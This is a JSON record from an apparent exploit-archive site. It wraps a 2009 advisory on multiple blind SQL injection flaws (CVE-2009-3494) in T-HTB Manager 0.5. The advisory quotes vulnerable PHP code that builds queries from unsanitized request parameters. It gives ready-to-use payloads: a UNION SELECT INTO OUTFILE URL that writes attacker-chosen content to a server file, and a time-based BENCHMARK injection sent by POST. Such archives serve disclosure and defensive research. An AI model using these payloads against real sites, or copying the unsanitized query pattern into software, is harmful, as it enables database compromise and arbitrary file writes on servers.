{"exploit":{"id":"EDB-9637","name":"T-HTB Manager 0.5 - Multiple Blind SQL Injections (SQLi)","description":"T-HTB Manager 0.5 - Multiple Blind SQL Injections (SQLi)","cves":["CVE-2009-3494"],"author":"Salvatore Fresta","published":"2009-09-10","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9637","path":"exploits/php/webapps/9637.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9637.txt","vulnerabilities":[{"id":"CVE-2009-3494","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in index.php in T-HTB Manager 0.5, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via (1) the id parameter in a delete_category action, (2) the name parameter in an update_category action, and other vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3494","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3494"},"updatedAt":"2024-08-07T06:31:10.397Z","retrievedAt":"2026-11-27T00:07:48.559Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9637.png?v=2","url":"https://exploitbin.com/exploits/EDB-9637","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9637/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9637/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"********   Salvatore \"drosophila\" Fresta   ********\n\n[+] Application: T-HTB Manager\n[+] Version: 0.5\n[+] Website: http://sourceforge.net/apps/mediawiki/t-htbmanager/index.php?title=Main_Page\n\n[+] Bugs: [A] Multiple Blind SQL Injection\n\n[+] Exploitation: Remote\n[+] Date: 10 Sep 2009\n\n[+] Discovered by: Salvatore Fresta aka drosophila\n[+] Author: Salvatore Fresta aka drosophila\n[+] E-mail: drosophilaxxx [at] gmail.com\n\n\n***************************************************\n\n[+] Menu\n\n1) Bugs\n2) Code\n3) Fix\n\n\n***************************************************\n\n[+] Bugs\n\n\n- [A] Multiple Blind SQL Injection\n\n[-] Risk: medium\n[-] Requisites: magic_quotes_gpc = off\n[-] File affected: index.php\n\nAll fields in this script are not sanitized but any\noutputs aren't returned.\n\n...\n\n\tcase 'delete_category':\n      $id = $_GET['id'];\n      $id_interfaces = $_GET['id_interfaces'];\n\n      if($id>0)\n      {\n        $query =  \"SELECT rgt, lft FROM \".$table_name.\" WHERE id='\" . $id . \"'\";\n        $db_query = mysql_query($query);\n\n...\n\n    case 'update_category':\n      $name = $_POST['name'];\n      $id = $_POST['id'];\n\n      $rate  \t= $_POST['rate'];\n      $ceil  \t= $_POST['ceil'];\n      $burst \t= $_POST['burst'];\n      $prio  \t= $_POST['prio'];\n      $monitor  = $_POST['monitor'];\n\n      if(strlen($name)>0 && $id>0)\n      {\n        $nodelft = $_POST['nodelft'];\n\n        $lft = $_POST['lft'];\n        $rgt = $_POST['rgt'];\n\n        $query = \"UPDATE \".$table_name.\" set name='\" . $name . \"' ,  lft='\" . $lft . \"' , rgt = '\" . $rgt . \"', rate= '\" . $rate . \"', ceil = '\" . $ceil . \"', burst = '\" . $burst . \"', prio = '\" . $prio . \"', monitor = '\" . $monitor . \"' WHERE id='\" . $id . \"'\";\n\n...\n\nAnd many others..\n\n\n***************************************************\n\n[+] Code\n\n\n- [A] Multiple Blind SQL Injection\n\nThis is a Blind SQL Injection bug but into the\ndatabase there aren't very reserved information\nsuch as usernames and/or passwords. However this\ninjection can be used to write arbitrary files\non the server (when allowed).\n\nhttp://site/path/index.php?action=delete_category&id=1' UNION ALL SELECT NULL,'evil code' INTO OUTFILE '/tmp/file.php\n\nSend it as a POST packet:\n\naction=update_category&id=9999&name=blabla' WHERE 1=0 OR IF(ASCII(CHAR(97)) = 97,BENCHMARK(10000000000,null),null)%23\n\n\n***************************************************\n\n[+] Fix\n\nNo fix.\n\n\n***************************************************\n\n# milw0rm.com [2009-09-10]","sha256":"12344eba84bbbcdefc13f5ab508b094bce9b09095ba78f4825e370ce2f5a5533","bytes":2452,"fetchedAt":"2026-11-27T00:07:45.349Z","encoding":"utf-8 (display only; download retains original bytes)"}